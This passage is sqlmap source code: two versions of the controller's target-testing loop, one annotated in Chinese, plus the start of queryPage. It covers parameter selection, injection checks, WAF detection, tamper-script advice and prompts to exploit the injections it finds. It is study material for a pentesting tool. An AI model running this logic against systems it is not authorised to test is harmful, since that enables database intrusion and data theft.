__[0].upper() for __ in conf.httpHeaders[i + 1:]) ] initTargetEnv() parseTargetUrl() testSqlInj = False if PLACE.GET in conf.parameters and not any( [conf.data, conf.testParameter]): for parameter in re.findall( r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: testSqlInj = True break else: paramKey = (conf.hostname, conf.path, None, None) if paramKey not in kb.testedParams: testSqlInj = True if testSqlInj and conf.hostname in kb.vulnHosts: if kb.skipVulnHost is None: message = "SQL injection vulnerability has already been detected " message += "against '%s'. Do you want to skip " % conf.hostname message += "further tests involving it? [Y/n]" kb.skipVulnHost = readInput(message, default='Y', boolean=True) testSqlInj = not kb.skipVulnHost if not testSqlInj: infoMsg = "skipping '%s'" % targetUrl logger.info(infoMsg) continue if conf.multipleTargets: hostCount += 1 if conf.forms and conf.method: message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl) else: message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET, targetUrl) if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data is not None: message += "\n%s data: %s" % ( (conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "") if conf.forms and conf.method: if conf.method == HTTPMETHOD.GET and targetUrl.find( "?") == -1: continue message += "\ndo you want to test this form? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'N': continue elif choice == 'Q': break else: if conf.method != HTTPMETHOD.GET: message = "Edit %s data [default: %s]%s: " % ( conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult( EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) conf.data = _randomFillBlankFields(conf.data) conf.data = urldecode( conf.data) if conf.data and urlencode( DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data else: if '?' in targetUrl: firstPart, secondPart = targetUrl.split('?', 1) message = "Edit GET data [default: %s]: " % secondPart test = readInput(message, default=secondPart) test = _randomFillBlankFields(test) conf.url = "%s?%s" % (firstPart, test) parseTargetUrl() else: message += "\ndo you want to test this URL? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': dataToStdout(os.linesep) continue elif choice == 'Q': break infoMsg = "testing URL '%s'" % targetUrl logger.info(infoMsg) setupTargetEnv() if not checkConnection(suppressOutput=conf.forms ) or not checkString() or not checkRegexp(): continue checkWaf() if conf.identifyWaf: identifyWaf() if conf.nullConnection: checkNullConnection() if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None) ) and (kb.injection.place is None or kb.injection.parameter is None): if not any( (conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable checkStability() # Do a little prioritization reorder of a testable parameter list parameters = list(conf.parameters.keys()) # Order of testing list (first to last) orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET) for place in orderList[::-1]: if place in parameters: parameters.remove(place) parameters.insert(0, place) proceed = True for place in parameters: # Test User-Agent and Referer headers only if # --level >= 3 skip = (place == PLACE.USER_AGENT and conf.level < 3) skip |= (place == PLACE.REFERER and conf.level < 3) # Test Host header only if # --level >= 5 skip |= (place == PLACE.HOST and conf.level < 5) # Test Cookie header only if --level >= 2 skip |= (place == PLACE.COOKIE and conf.level < 2) skip |= (place == PLACE.USER_AGENT and intersect( USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect( REFERER_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.COOKIE and intersect( PLACE.COOKIE, conf.skip, True) not in ([], None)) skip |= (place == PLACE.HOST and intersect( PLACE.HOST, conf.skip, True) not in ([], None)) skip &= not (place == PLACE.USER_AGENT and intersect( USER_AGENT_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.REFERER and intersect( REFERER_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.HOST and intersect( HOST_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.COOKIE and intersect( (PLACE.COOKIE, ), conf.testParameter, True)) if skip: continue if kb.testOnlyCustom and place not in ( PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): continue if place not in conf.paramDict: continue paramDict = conf.paramDict[place] paramType = conf.method if conf.method not in ( None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place for parameter, value in paramDict.items(): if not proceed: break kb.vainRun = False testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) if paramKey in kb.testedParams: testSqlInj = False infoMsg = "skipping previously processed %s parameter '%s'" % ( paramType, parameter) logger.info(infoMsg) elif parameter in conf.testParameter: pass elif parameter in conf.rParam: testSqlInj = False infoMsg = "skipping randomizing %s parameter '%s'" % ( paramType, parameter) logger.info(infoMsg) elif parameter in conf.skip or kb.postHint and parameter.split( ' ')[-1] in conf.skip: testSqlInj = False infoMsg = "skipping %s parameter '%s'" % ( paramType, parameter) logger.info(infoMsg) elif conf.paramExclude and ( re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)): testSqlInj = False infoMsg = "skipping %s parameter '%s'" % ( paramType, parameter) logger.info(infoMsg) elif conf.csrfToken and re.search( conf.csrfToken, parameter, re.I): testSqlInj = False infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter logger.info(infoMsg) # Ignore session-like parameters for --level < 4 elif conf.level < 4 and ( parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith( GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False infoMsg = "ignoring %s parameter '%s'" % ( paramType, parameter) logger.info(infoMsg) elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic: check = checkDynParam(place, parameter, value) if not check: warnMsg = "%s parameter '%s' does not appear to be dynamic" % ( paramType, parameter) logger.warn(warnMsg) if conf.skipStatic: infoMsg = "skipping static %s parameter '%s'" % ( paramType, parameter) logger.info(infoMsg) testSqlInj = False else: infoMsg = "%s parameter '%s' appears to be dynamic" % ( paramType, parameter) logger.info(infoMsg) kb.testedParams.add(paramKey) if testSqlInj: try: if place == PLACE.COOKIE: pushValue(kb.mergeCookies) kb.mergeCookies = False check = heuristicCheckSqlInjection( place, parameter) if check != HEURISTIC_TEST.POSITIVE: if conf.smart or ( kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): infoMsg = "skipping %s parameter '%s'" % ( paramType, parameter) logger.info(infoMsg) continue infoMsg = "testing for SQL injection on %s " % paramType infoMsg += "parameter '%s'" % parameter logger.info(infoMsg) injection = checkSqlInjection( place, parameter, value) proceed = not kb.endDetection injectable = False if getattr(injection, "place", None) is not None: if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes: kb.falsePositives.append(injection) else: injectable = True kb.injections.append(injection) # In case when user wants to end detection phase (Ctrl+C) if not proceed: break msg = "%s parameter '%s' " % ( injection.place, injection.parameter) msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " if not readInput(msg, default='N', boolean=True): proceed = False paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) if not injectable: warnMsg = "%s parameter '%s' does not seem to be " % ( paramType, parameter) warnMsg += "injectable" logger.warn(warnMsg) finally: if place == PLACE.COOKIE: kb.mergeCookies = popValue() if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: errMsg = "no parameter(s) found for testing in the provided data " errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" raise SqlmapNoneDataException(errMsg) else: errMsg = "all tested parameters do not appear to be injectable." if conf.level < 5 or conf.risk < 3: errMsg += " Try to increase values for '--level'/'--risk' options " errMsg += "if you wish to perform more tests." if isinstance(conf.tech, list) and len(conf.tech) < 5: errMsg += " Rerun without providing the option '--technique'." if not conf.textOnly and kb.originalPage: percent = ( 100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage)) if kb.dynamicMarkings: errMsg += " You can give it a go with the switch '--text-only' " errMsg += "if the target page has a low percentage " errMsg += "of textual content (~%.2f%% of " % percent errMsg += "page content is text)." elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone: errMsg += " Please retry with the switch '--text-only' " errMsg += "(along with --technique=BU) as this case " errMsg += "looks like a perfect candidate " errMsg += "(low textual content along with inability " errMsg += "of comparison engine to detect at least " errMsg += "one dynamic parameter)." if kb.heuristicTest == HEURISTIC_TEST.POSITIVE: errMsg += " As heuristic test turned out positive you are " errMsg += "strongly advised to continue on with the tests." if conf.string: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--string' as perhaps the string you " errMsg += "have chosen does not match " errMsg += "exclusively True responses." elif conf.regexp: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--regexp' as perhaps the regular " errMsg += "expression that you have chosen " errMsg += "does not match exclusively True responses." if not conf.tamper: errMsg += " If you suspect that there is some kind of protection mechanism " errMsg += "involved (e.g. WAF) maybe you could try to use " errMsg += "option '--tamper' (e.g. '--tamper=space2comment')" if not conf.randomAgent: errMsg += " and/or switch '--random-agent'" raise SqlmapNotVulnerableException(errMsg.rstrip('.')) else: # Flush the flag kb.testMode = False _saveToResultsFile() _saveToHashDB() _showInjections() _selectInjection() if kb.injection.place is not None and kb.injection.parameter is not None: if conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " condition = readInput(message, default='Y', boolean=True) else: condition = True if condition: action() except KeyboardInterrupt: if conf.multipleTargets: warnMsg = "user aborted in multiple target mode" logger.warn(warnMsg) message = "do you want to skip to the next target in list? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': return False elif choice == 'Q': raise SqlmapUserQuitException else: raise except SqlmapSkipTargetException: pass except SqlmapUserQuitException: raise except SqlmapSilentQuitException: raise except SqlmapBaseException as ex: errMsg = getSafeExString(ex) if conf.multipleTargets: _saveToResultsFile() errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL") logger.error(errMsg.lstrip(", ")) else: logger.critical(errMsg) return False finally: showHttpErrorCodes() if kb.maxConnectionsFlag: warnMsg = "it appears that the target " warnMsg += "has a maximum connections " warnMsg += "constraint" logger.warn(warnMsg) if kb.dataOutputFlag and not conf.multipleTargets: logger.info("fetched data logged to text files under '%s'" % conf.outputPath) if conf.multipleTargets: if conf.resultsFilename: infoMsg = "you can find results of scanning in multiple targets " infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename logger.info(infoMsg) return True
def start(): """ This function calls a function that performs checks on both URL stability and all GET, POST, Cookie and User-Agent parameters to check if they are dynamic and SQL injection affected """ ''' conf.direct是通过命令行参数:"-d"指定的。 通过参数"-d"指定要连接的数据库 eg:-d "mysql:123123//root:@127.0.0.1:3306/security" ''' if conf.direct: # 调用时,使用了-d选项,那么sqlmap就会会直接进入action()函数中,连接数据库 ''' for example: python sqlmap.py -d "mysql://*****:*****@192.168.75.128:3306/testdb" -f --banner --dbs --user ''' initTargetEnv() # 函数主要就是完成全局变量conf和kb的初始化工作 ''' setupTargetEnv() 该函数主要包含3个子功能: 1.创建保存目标执行结果的目录和文件 2.将get或post发送的数据解析成字典形式,并保存到conf.paramDict中 3.读取session文件(如果存在的话),并提起文件中的数据,保存到kb变量中 ''' setupTargetEnv() ''' action()是很重要的一个函数,该函数主要根据工程师的命令行参数选型,从而利用存在注入漏洞的url,以进一步获取工程师要获取的数据。 比如:当前的数据库用户、枚举数据库的所有数据表等等 ''' action() return True if conf.url and not any((conf.forms, conf.crawlDepth)): ''' 将url,method,data,cookie等信息添加到kb.targets对象上 ''' kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None)) if conf.configFile and not kb.targets: errMsg = "you did not edit the configuration file properly, set " errMsg += "the target URL, list of targets or google dork" logger.error(errMsg) return False if kb.targets and len(kb.targets) > 1: # 需要测试多个目标URL infoMsg = "sqlmap got a total of %d targets" % len(kb.targets) logger.info(infoMsg) hostCount = 0 initialHeaders = list(conf.httpHeaders) for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: try: # 开始检测 conf.url = targetUrl # -u or --url 测试的目标URL conf.method = targetMethod.upper() if targetMethod else targetMethod # --method 参数,默认情况下,sqlmap是自动检测,只有当需要检查的方法是put的时候,需要显示指定 --method=PUT conf.data = targetData # --data 参数,此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。详细查看readme.pdf 28pages conf.cookie = targetCookie # --cookie 参数, 当你使用--cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当--level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。 conf.httpHeaders = list(initialHeaders) # 参数:--headers 可以通过--headers参数来增加额外的http头 conf.httpHeaders.extend(targetHeaders or []) initTargetEnv() # 主要就是完成全局变量conf和kb的初始化工作 parseTargetUrl() # 主要完成针对目标网址的解析工作,如获取协议名、路径、端口、请求参数等信息 testSqlInj = False # 表示是否注入过,默认表示注入过(即testSqlInj=false) ''' conf.parameters保存需要进行SQL注入点测试的参数信息,conf.parameters是一个字典 kb.testedParams保存已经测试了的参数信息 测试过的url参数信息会保存到kb.testedParams中(第230行和第259行),所以在进行test之前,会先判断当前的url是否已经test过 如果没test过的话,则testSqlInj = True,否则testSqlInj = False。 当testSqlInj = False的时候,表示当前需要进行测试的URL已经测试过了,就不会执行 injection = checkSqlInjection(place, parameter, value)这句代码了 ''' if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]): for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: testSqlInj = True break else: paramKey = (conf.hostname, conf.path, None, None) # 测试其他参数信息,判断是否存在注入信息 if paramKey not in kb.testedParams: testSqlInj = True if testSqlInj and conf.hostname in kb.vulnHosts: if kb.skipVulnHost is None: message = "SQL injection vulnerability has already been detected " message += "against '%s'. Do you want to skip " % conf.hostname message += "further tests involving it? [Y/n]" kb.skipVulnHost = readInput(message, default="Y").upper() != 'N' testSqlInj = not kb.skipVulnHost if not testSqlInj: # 表示当前需要测试的URL已经测试过了,不需要进行测试了 infoMsg = "skipping '%s'" % targetUrl logger.info(infoMsg) continue if conf.multipleTargets: # 当检测的目标存在多个的时候 hostCount += 1 if conf.forms and conf.method: message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl) else: message = "URL %d:\n%s %s%s" % (hostCount, HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "") if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data is not None: message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "") if conf.forms and conf.method: if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1: continue message += "\ndo you want to test this form? [Y/n/q] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): if conf.method != HTTPMETHOD.GET: message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) conf.data = _randomFillBlankFields(conf.data) conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data else: if targetUrl.find("?") > -1: firstPart = targetUrl[:targetUrl.find("?")] secondPart = targetUrl[targetUrl.find("?") + 1:] message = "Edit GET data [default: %s]: " % secondPart test = readInput(message, default=secondPart) test = _randomFillBlankFields(test) conf.url = "%s?%s" % (firstPart, test) parseTargetUrl() # parseTargetUrl()函数主要完成针对目标网址的解析工作,如获取协议名、路径、端口、请求参数等信息 elif test[0] in ("n", "N"): continue elif test[0] in ("q", "Q"): break else: message += "\ndo you want to test this URL? [Y/n/q]" test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): dataToStdout(os.linesep) continue elif test[0] in ("q", "Q"): break infoMsg = "testing URL '%s'" % targetUrl logger.info(infoMsg) ''' setupTargetEnv(),该函数主要包含3个子功能: 1.创建保存目标执行结果的目录和文件 2.将get或post发送的数据解析成字典形式,并保存到conf.paramDict中 3.读取session文件(如果存在的话),并提起文件中的数据,保存到kb变量中 ''' setupTargetEnv() # 设置目标系统的环境信息 ''' checkConnection()函数主要是判断目标URL是否能够正常连接 ''' if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp(): continue # Determines if a web server is protected by an IPS (Intrusion Prevention System), IDS (Intrusion Detection System) or WAF (Web Application Firewall) checkWaf() # 检测WAF(Web Application FireWall),检测方法是NMAP的http-waf-detect.nse,判断系统是否被防火墙所保护 # conf.identifyWaf=True表示需要检测后台防火墙的类型,否则,表示不检测防火墙类型 # 判断防火墙的类型 if conf.identifyWaf: # conf.identifyWaf表示sqlmap的参数 --identify-waf,如果指定了此参数,就会进入identifyWaf()函数中 identifyWaf() # 主要检测的WAF(防火墙)都在sqlmap的waf目录下面 if conf.nullConnection: checkNullConnection() # 空连接就是不用密码和用户名的IPC(Internet Process Connection) 连接,在Windows 下,它是用 Net 命令来实现的. if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \ and (kb.injection.place is None or kb.injection.parameter is None): if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable # 判断页面是否是稳定页面(何谓稳定页面--两次相同的URL请求,返回的页面信息没有发生变化,如新浪微博的页面就不是稳定的,因为每次刷新过后,页面的内容会发生变化) checkStability() # Do a little prioritization reorder of a testable parameter list parameters = conf.parameters.keys() # Order of testing list (first to last) #测试注入点位置的几种情况 orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET) for place in orderList[::-1]: if place in parameters: parameters.remove(place) parameters.insert(0, place) proceed = True ''' 开始测试参数是否可以注入(测试之前没有测试过的参数) 测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入, 它也可以指定用逗号分隔的列表的具体参数来测试。 parameters存储GET/POST/HTTP Cookie/HTTP User-Agent header/HTTP Referer header等信息 ''' for place in parameters: # 检测在哪些参数位置可以进行注入的 # Test User-Agent and Referer headers only if # --level >= 3 skip = (place == PLACE.USER_AGENT and conf.level < 3) skip |= (place == PLACE.REFERER and conf.level < 3) # Test Host header only if # --level >= 5 skip |= (place == PLACE.HOST and conf.level < 5) # Test Cookie header only if --level >= 2 skip |= (place == PLACE.COOKIE and conf.level < 2) skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None)) skip |= (place == PLACE.HOST and intersect(PLACE.HOST, conf.skip, True) not in ([], None)) skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True)) if skip: continue if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): continue if place not in conf.paramDict: continue paramDict = conf.paramDict[place] paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place for parameter, value in paramDict.items(): if not proceed: break kb.vainRun = False testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) ''' kb.testedParams用于保存已经注入了的信息,例如:目标IP,请求路径,注入点位置信息等 ''' if paramKey in kb.testedParams: testSqlInj = False infoMsg = "skipping previously processed %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter in conf.testParameter: pass elif parameter == conf.rParam: testSqlInj = False infoMsg = "skipping randomizing %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip: testSqlInj = False infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter == conf.csrfToken: testSqlInj = False infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter logger.info(infoMsg) # Ignore session-like parameters for --level < 4 elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic: ''' checkDynParam()函数会判断参数是否是动态的,比如index.php?id=1,通过更改id的值,如果参数id是动态的,则返回的页面会不相同,否则相同。 ''' check = checkDynParam(place, parameter, value) if not check: warnMsg = "%s parameter '%s' does not appear dynamic" % (paramType, parameter) logger.warn(warnMsg) if conf.skipStatic: infoMsg = "skipping static %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) testSqlInj = False else: infoMsg = "%s parameter '%s' is dynamic" % (paramType, parameter) logger.info(infoMsg) kb.testedParams.add(paramKey) if testSqlInj: try: if place == PLACE.COOKIE: pushValue(kb.mergeCookies) kb.mergeCookies = False ''' heuristicCheckSqlInjection()函数的主要作用可以分为以下几点: 1.数据库版本的识别。 2.绝对路径获取。 3.XSS的测试 参考网站地址:http://drops.wooyun.org/papers/10652 heuristic <basic> test shows that GET parameter heuristic <XSS> test shows that GET parameter ''' check = heuristicCheckSqlInjection(place, parameter) #进行简单的测试,设置一个payload(攻击点代码),然后解析请求结果 if check != HEURISTIC_TEST.POSITIVE: if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) continue infoMsg = "testing for SQL injection on %s " % paramType infoMsg += "parameter '%s'" % parameter logger.info(infoMsg) ''' 在调用checkSqlInjection注入之前,就已经判断出数据库的类型了。 testSqlInj=true表示之前没有检测过,就会调用checkSqlInjection()函数 checkSqlInjection()函数才是真正开始测试的函数,传入的参数是注入方法名,参数名,参数值 ''' injection = checkSqlInjection(place, parameter, value) proceed = not kb.endDetection injectable = False if getattr(injection, "place", None) is not None: if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes: kb.falsePositives.append(injection) else: injectable = True kb.injections.append(injection) # In case when user wants to end detection phase (Ctrl+C) if not proceed: break msg = "%s parameter '%s' " % (injection.place, injection.parameter) msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " test = readInput(msg, default="N") if test[0] not in ("y", "Y"): proceed = False paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) if not injectable: warnMsg = "%s parameter '%s' is not " % (paramType, parameter) warnMsg += "injectable" logger.warn(warnMsg) finally: if place == PLACE.COOKIE: kb.mergeCookies = popValue() if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: errMsg = "no parameter(s) found for testing in the provided data " errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" raise SqlmapNoneDataException(errMsg) else: errMsg = "all tested parameters appear to be not injectable." if conf.level < 5 or conf.risk < 3: errMsg += " Try to increase '--level'/'--risk' values " errMsg += "to perform more tests." if isinstance(conf.tech, list) and len(conf.tech) < 5: errMsg += " Rerun without providing the option '--technique'." if not conf.textOnly and kb.originalPage: percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage)) if kb.dynamicMarkings: errMsg += " You can give it a go with the switch '--text-only' " errMsg += "if the target page has a low percentage " errMsg += "of textual content (~%.2f%% of " % percent errMsg += "page content is text)." elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone: errMsg += " Please retry with the switch '--text-only' " errMsg += "(along with --technique=BU) as this case " errMsg += "looks like a perfect candidate " errMsg += "(low textual content along with inability " errMsg += "of comparison engine to detect at least " errMsg += "one dynamic parameter)." if kb.heuristicTest == HEURISTIC_TEST.POSITIVE: errMsg += " As heuristic test turned out positive you are " errMsg += "strongly advised to continue on with the tests. " errMsg += "Please, consider usage of tampering scripts as " errMsg += "your target might filter the queries." if not conf.string and not conf.notString and not conf.regexp: errMsg += " Also, you can try to rerun by providing " errMsg += "either a valid value for option '--string' " errMsg += "(or '--regexp')." elif conf.string: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--string' as perhaps the string you " errMsg += "have chosen does not match " errMsg += "exclusively True responses." elif conf.regexp: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--regexp' as perhaps the regular " errMsg += "expression that you have chosen " errMsg += "does not match exclusively True responses." if not conf.tamper: errMsg += " If you suspect that there is some kind of protection mechanism " errMsg += "involved (e.g. WAF) maybe you could retry " errMsg += "with an option '--tamper' (e.g. '--tamper=space2comment')" raise SqlmapNotVulnerableException(errMsg.rstrip('.')) else: # Flush the flag kb.testMode = False ''' 这四个函数的作用就是保存结果保存结果、保存session、显示注入结果,包括类型,payload等。 ''' _saveToResultsFile() _saveToHashDB() _showInjections() _selectInjection() if kb.injection.place is not None and kb.injection.parameter is not None: if conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " exploit = readInput(message, default="Y") condition = not exploit or exploit[0] in ("y", "Y") else: condition = True if condition: action() except KeyboardInterrupt: if conf.multipleTargets: warnMsg = "user aborted in multiple target mode" logger.warn(warnMsg) message = "do you want to skip to the next target in list? [Y/n/q]" test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): return False elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: raise except SqlmapUserQuitException: raise except SqlmapSilentQuitException: raise except SqlmapBaseException, ex: errMsg = getSafeExString(ex) if conf.multipleTargets: _saveToResultsFile() errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL") logger.error(errMsg) else: logger.critical(errMsg) return False finally:
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True): """ This method calls a function to get the target URL page content and returns its page MD5 hash or a boolean value in case of string match check ('--string' command line parameter) """ if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None referer = None host = None page = None pageLength = None uri = None code = None urlEncodePost = None if not place: place = kb.injection.place or PLACE.GET raise404 = place != PLACE.URI if raise404 is None else raise404 value = agent.adjustLateValues(value) payload = agent.extractPayload(value) threadData = getCurrentThreadData() if conf.httpHeaders: headers = dict(conf.httpHeaders) contentType = max(headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys()) urlEncodePost = contentType and "urlencoded" in contentType or contentType is None if (kb.postHint or conf.skipUrlEncode) and urlEncodePost: urlEncodePost = False conf.httpHeaders = [ _ for _ in conf.httpHeaders if _[1] != contentType ] contentType = POST_HINT_CONTENT_TYPES.get( kb.postHint, PLAIN_TEXT_CONTENT_TYPE) conf.httpHeaders.append( (HTTP_HEADER.CONTENT_TYPE, contentType)) if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: payload = function(payload=payload, headers=auxHeaders) if not isinstance(payload, basestring): errMsg = "tamper function '%s' returns " % function.func_name errMsg += "invalid payload type ('%s')" % type(payload) raise SqlmapValueException(errMsg) value = agent.replacePayload(value, payload) logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload)) if place == PLACE.CUSTOM_POST: if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): # payloads in SOAP/XML should have chars > and < replaced # with their HTML encoded counterparts payload = payload.replace('>', ">").replace('<', "<") elif kb.postHint == POST_HINT.JSON: if payload.startswith('"') and payload.endswith('"'): payload = json.dumps(payload[1:-1]) else: payload = json.dumps(payload)[1:-1] value = agent.replacePayload(value, payload) else: # GET, POST, URI and Cookie payload needs to be throughly URL encoded if place in (PLACE.GET, PLACE.URI, PLACE.COOKIE ) and not conf.skipUrlEncode or place in ( PLACE.POST, ) and urlEncodePost: payload = urlencode(payload, '%', False, place != PLACE.URI) value = agent.replacePayload(value, payload) if conf.hpp: if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)): warnMsg = "HTTP parameter pollution should work only against " warnMsg += "ASP(.NET) targets" singleTimeWarnMessage(warnMsg) if place in (PLACE.GET, PLACE.POST): _ = re.escape(PAYLOAD_DELIMITER) match = re.search( "(?P<name>\w+)=%s(?P<value>.+?)%s" % (_, _), value) if match: payload = match.group("value") for splitter in (urlencode(' '), ' '): if splitter in payload: prefix, suffix = ( "*/", "/*") if splitter == ' ' else ( urlencode(_) for _ in ("*/", "/*")) parts = payload.split(splitter) parts[0] = "%s%s" % (parts[0], suffix) parts[-1] = 